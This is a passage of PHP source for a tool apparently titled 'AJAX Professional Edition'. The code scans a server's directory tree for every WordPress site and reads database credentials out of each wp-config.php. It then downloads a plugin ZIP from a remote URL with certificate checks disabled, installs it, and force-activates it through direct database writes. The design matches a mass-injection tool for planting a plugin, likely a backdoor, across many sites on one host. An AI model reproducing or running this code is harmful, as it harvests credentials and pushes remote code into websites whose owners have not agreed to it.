$rr, 'd' => 0]; } while (!empty($queue) && $scanned < $maxDirs) { $it = array_shift($queue); $p = $it['p']; $d = $it['d']; if (isset($visited[$p])) continue; $visited[$p] = 1; if (!is_dir($p)) continue; $res[] = $p; $scanned++; if ($d >= $maxDepth) continue; $ch = @scandir($p); if (!is_array($ch)) continue; foreach ($ch as $c) { if ($c === '.' || $c === '..') continue; $child = $p . DIRECTORY_SEPARATOR . $c; if (is_dir($child) && !isset($visited[$child])) $queue[] = ['p' => $child, 'd' => $d + 1]; } } return $res; } function detect_webroot_auto(string $startDir, array $allowedTlds, int $maxUp = 12) { $cur = realpath($startDir); if ($cur === false) return false; $level = 0; while ($cur !== false && $level <= $maxUp) { $children = @scandir($cur); if (is_array($children)) { foreach ($children as $c) { if ($c === '.' || $c === '..') continue; $p = $cur . DIRECTORY_SEPARATOR . $c; if (is_dir($p) && is_domain_folder($c, $allowedTlds)) return realpath($p); } } $parent = dirname($cur); if ($parent === $cur) break; $cur = $parent; $level++; } return realpath(dirname($startDir)); } function detect_domain_webroot(string $domainPath, string $target_filename, int $maxDepth = 4) { $queue = [['path' => realpath($domainPath), 'depth' => 0]]; $visited = []; while (!empty($queue)) { $it = array_shift($queue); $cur = $it['path']; $d = $it['depth']; if (!$cur || isset($visited[$cur])) continue; $visited[$cur] = 1; $targetPath = $cur . DIRECTORY_SEPARATOR . $target_filename; if (file_exists($targetPath)) return $targetPath; if ($d >= $maxDepth) continue; $children = @scandir($cur); if (!is_array($children)) continue; foreach ($children as $c) { if ($c === '.' || $c === '..') continue; $child = $cur . DIRECTORY_SEPARATOR . $c; if (is_dir($child)) $queue[] = ['path' => $child, 'depth' => $d + 1]; } } return false; } function download_content($url) { $options = ['http' => ['method' => 'GET', 'header' => "User-Agent: Mozilla/5.0\r\n", 'timeout' => 60]]; $context = stream_context_create($options); $content = @file_get_contents($url, false, $context); if ($content === false && function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $content = curl_exec($ch); curl_close($ch); } return $content; } function delete_directory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return unlink($dir); $files = array_diff(scandir($dir), ['.', '..']); foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; (is_dir($path)) ? delete_directory($path) : @unlink($path); } return @rmdir($dir); } function copy_directory($src, $dst) { if (!file_exists($dst)) mkdir($dst, 0755, true); $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($src, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { $target = $dst . DIRECTORY_SEPARATOR . $iterator->getSubPathname(); if ($item->isDir()) { if (!file_exists($target)) mkdir($target, 0755, true); } else { copy($item->getPathname(), $target); } } } function extract_zip_and_get_plugin_info($zip_content, $extract_path) { if (!class_exists('ZipArchive')) return false; $temp_zip = tempnam(sys_get_temp_dir(), 'wp_plugin_') . '.zip'; file_put_contents($temp_zip, $zip_content); $zip = new ZipArchive; if ($zip->open($temp_zip) === TRUE) { if (file_exists($extract_path)) delete_directory($extract_path); mkdir($extract_path, 0755, true); $zip->extractTo($extract_path); $zip->close(); unlink($temp_zip); $plugin_files = find_plugin_files($extract_path); return $plugin_files; } if (file_exists($temp_zip)) unlink($temp_zip); return false; } function find_plugin_files($path) { $plugin_files = []; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { if ($file->isFile() && $file->getExtension() === 'php') { $content = file_get_contents($file->getPathname()); if (preg_match('/Plugin Name:\s*(.+)/i', $content)) { $relative_path = str_replace($path . DIRECTORY_SEPARATOR, '', $file->getPathname()); $folder_name = explode(DIRECTORY_SEPARATOR, $relative_path)[0]; $plugin_files = [ 'main_file' => $file->getPathname(), 'folder_name' => $folder_name, 'relative_main_file' => $relative_path, 'full_path' => $path, 'plugin_name' => trim(preg_replace('/Plugin Name:\s*(.+)/i', '$1', $content)) ]; break; } } } return $plugin_files; } function deactivate_plugin_db($wp_path, $plugin_slug) { $wp_config = $wp_path . '/wp-config.php'; if (!file_exists($wp_config)) return false; $config_content = file_get_contents($wp_config); $patterns = [ 'db_host' => "/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_user' => "/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_pass' => "/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_name' => "/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'table_prefix' => "/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/" ]; $config = []; foreach ($patterns as $key => $pattern) { if (preg_match($pattern, $config_content, $matches)) $config[$key] = $matches[1]; } if (!isset($config['db_host']) || !isset($config['db_user']) || !isset($config['db_name'])) return false; $conn = @new mysqli($config['db_host'], $config['db_user'], $config['db_pass'], $config['db_name']); if ($conn->connect_error) return false; $options_table = $config['table_prefix'] . 'options'; $result = $conn->query("SELECT option_value FROM {$options_table} WHERE option_name = 'active_plugins'"); if ($result && $row = $result->fetch_assoc()) { $active_plugins = @unserialize($row['option_value']); if (is_array($active_plugins)) { $plugin_identifier = $plugin_slug . '/' . $plugin_slug . '.php'; if (in_array($plugin_identifier, $active_plugins)) { $active_plugins = array_diff($active_plugins, [$plugin_identifier]); $serialized = serialize(array_values($active_plugins)); $conn->query("UPDATE {$options_table} SET option_value = '" . addslashes($serialized) . "' WHERE option_name = 'active_plugins'"); } } } $conn->close(); return true; } function activate_plugin_db($wp_path, $plugin_folder, $plugin_file) { $wp_config = $wp_path . '/wp-config.php'; if (!file_exists($wp_config)) return false; $config_content = file_get_contents($wp_config); $patterns = [ 'db_host' => "/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_user' => "/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_pass' => "/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_name' => "/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'table_prefix' => "/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/" ]; $config = []; foreach ($patterns as $key => $pattern) { if (preg_match($pattern, $config_content, $matches)) $config[$key] = $matches[1]; } if (!isset($config['db_host']) || !isset($config['db_user']) || !isset($config['db_name'])) return false; $conn = @new mysqli($config['db_host'], $config['db_user'], $config['db_pass'], $config['db_name']); if ($conn->connect_error) return false; $options_table = $config['table_prefix'] . 'options'; $result = $conn->query("SELECT option_value FROM {$options_table} WHERE option_name = 'active_plugins'"); if ($result && $row = $result->fetch_assoc()) { $active_plugins = @unserialize($row['option_value']); if (!is_array($active_plugins)) $active_plugins = []; $plugin_identifier = $plugin_folder . '/' . $plugin_file; if (!in_array($plugin_identifier, $active_plugins)) { $active_plugins[] = $plugin_identifier; $serialized = serialize($active_plugins); $conn->query("UPDATE {$options_table} SET option_value = '" . addslashes($serialized) . "' WHERE option_name = 'active_plugins'"); } } $conn->close(); return true; } // ==================== AJAX HANDLER ==================== if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { header('Content-Type: application/json'); // Action: Scan Sites if ($_POST['action'] === 'scan_sites') { $apiDir = realpath(__DIR__); $webroot = detect_webroot_auto($apiDir, $ALLOWED_TLDS); if (!$webroot) { echo json_encode(['success' => false, 'error' => 'Cannot detect webroot']); exit; } $roots = [$webroot, dirname($webroot), $apiDir]; $roots = array_unique(array_filter($roots, 'realpath')); $dirs = scan_dirs_bfs($roots, 6, 15000); $wp_sites = []; foreach ($dirs as $dir) { if (!is_domain_folder(basename($dir), $ALLOWED_TLDS)) continue; $wp_config = detect_domain_webroot($dir, 'wp-config.php', 4); if ($wp_config) { $wp_root = dirname($wp_config); $wp_sites[] = [ 'domain' => basename($dir), 'path' => $wp_root ]; } } echo json_encode(['success' => true, 'sites' => $wp_sites, 'webroot' => $webroot, 'total' => count($wp_sites)]); exit; } // Action: Deploy Single Site if ($_POST['action'] === 'deploy_site') { $site = json_decode($_POST['site'], true); $wp_path = $site['path']; $domain = $site['domain']; $result = [ 'success' => false, 'domain' => $domain, 'steps' => [], 'error' => null ]; try { // Step 1: Deactivate old plugin $result['steps'][] = ['action' => 'Deactivating old plugin...', 'status' => 'processing']; deactivate_plugin_db($wp_path, $PLUGIN_SLUG); $result['steps'][] = ['action' => 'Old plugin deactivated', 'status' => 'success']; // Step 2: Remove old plugin folder $old_plugin_path = $wp_path . '/wp-content/plugins/' . $PLUGIN_SLUG; if (file_exists($old_plugin_path)) { $result['steps'][] = ['action' => 'Removing old plugin folder...', 'status' => 'processing']; if (delete_directory($old_plugin_path)) { $result['steps'][] = ['action' => 'Old plugin folder removed', 'status' => 'success']; } else { $result['steps'][] = ['action' => 'Failed to remove old folder (continuing)', 'status' => 'warning']; } } else { $result['steps'][] = ['action' => 'No existing plugin found', 'status' => 'info']; } // Step 3: Download plugin $result['steps'][] = ['action' => 'Downloading plugin from server...', 'status' => 'processing']; $ZIP_CONTENT = download_content($PLUGIN_ZIP_URL); if (!$ZIP_CONTENT) { throw new Exception('Failed to download plugin ZIP'); } $result['steps'][] = ['action' => 'Plugin downloaded', 'status' => 'success', 'size' => round(strlen($ZIP_CONTENT) / 1024, 2) . ' KB']; // Step 4: Extract plugin $result['steps'][] = ['action' => 'Extracting plugin...', 'status' => 'processing']; $temp_extract_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'wp_plugin_extract_' . uniqid(); $plugin_info = extract_zip_and_get_plugin_info($ZIP_CONTENT, $temp_extract_path); if (!$plugin_info) { throw new Exception('Failed to extract ZIP or plugin not found'); } $result['steps'][] = ['action' => 'Plugin extracted: ' . $plugin_info['plugin_name'], 'status' => 'success']; // Step 5: Copy to plugins directory $result['steps'][] = ['action' => 'Installing plugin files...', 'status' => 'processing']; $plugin_dir = $wp_path . '/wp-content/plugins/' . $plugin_info['folder_name']; $source_dir = $plugin_info['full_path'] . DIRECTORY_SEPARATOR . $plugin_info['folder_name']; if (!file_exists($source_dir)) { $source_dir = $plugin_info['full_path']; } copy_directory($source_dir, $plugin_dir); $result['steps'][] = ['action' => 'Plugin installed to: ' . $plugin_info['folder_name'], 'status' => 'success']; // Step 6: Activate plugin $result['steps'][] = ['action' => 'Activating plugin...', 'status' => 'processing']; $plugin_file = basename($plugin_info['relative_main_file']); if (activate_plugin_db($wp_path, $plugin_info['folder_name'], $plugin_file)) { $result['steps'][] = ['action' => 'Plugin activated successfully!', 'status' => 'success']; $result['success'] = true; } else { $result['steps'][] = ['action' => 'Plugin installed but activation failed', 'status' => 'warning']; $result['success'] = true; } // Cleanup if (file_exists($temp_extract_path)) { delete_directory($temp_extract_path); } } catch (Exception $e) { $result['error'] = $e->getMessage(); $result['steps'][] = ['action' => 'ERROR: ' . $e->getMessage(), 'status' => 'error']; } echo json_encode($result); exit; } // Action: Deploy All Sites if ($_POST['action'] === 'deploy_all') { $sites = json_decode($_POST['sites'], true); $results = []; foreach ($sites as $site) { $wp_path = $site['path']; $domain = $site['domain']; $result = [ 'success' => false, 'domain' => $domain, 'steps' => [], 'error' => null ]; try { deactivate_plugin_db($wp_path, $PLUGIN_SLUG); $old_plugin_path = $wp_path . '/wp-content/plugins/' . $PLUGIN_SLUG; if (file_exists($old_plugin_path)) { delete_directory($old_plugin_path); } $ZIP_CONTENT = download_content($PLUGIN_ZIP_URL); if (!$ZIP_CONTENT) throw new Exception('Failed to download plugin'); $temp_extract_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'wp_plugin_extract_' . uniqid(); $plugin_info = extract_zip_and_get_plugin_info($ZIP_CONTENT, $temp_extract_path); if (!$plugin_info) throw new Exception('Failed to extract ZIP'); $plugin_dir = $wp_path . '/wp-content/plugins/' . $plugin_info['folder_name']; $source_dir = $plugin_info['full_path'] . DIRECTORY_SEPARATOR . $plugin_info['folder_name']; if (!file_exists($source_dir)) $source_dir = $plugin_info['full_path']; copy_directory($source_dir, $plugin_dir); $plugin_file = basename($plugin_info['relative_main_file']); activate_plugin_db($wp_path, $plugin_info['folder_name'], $plugin_file); if (file_exists($temp_extract_path)) delete_directory($temp_extract_path); $result['success'] = true; $result['steps'][] = ['action' => 'Deployment completed', 'status' => 'success']; } catch (Exception $e) { $result['error'] = $e->getMessage(); $result['steps'][] = ['action' => 'Error: ' . $e->getMessage(), 'status' => 'error']; } $results[] = $result; } echo json_encode(['success' => true, 'results' => $results]); exit; } exit; } // ==================== HTML & UI ==================== ?>
AJAX Professional Edition - Auto Scan, Auto Deploy, Auto Activate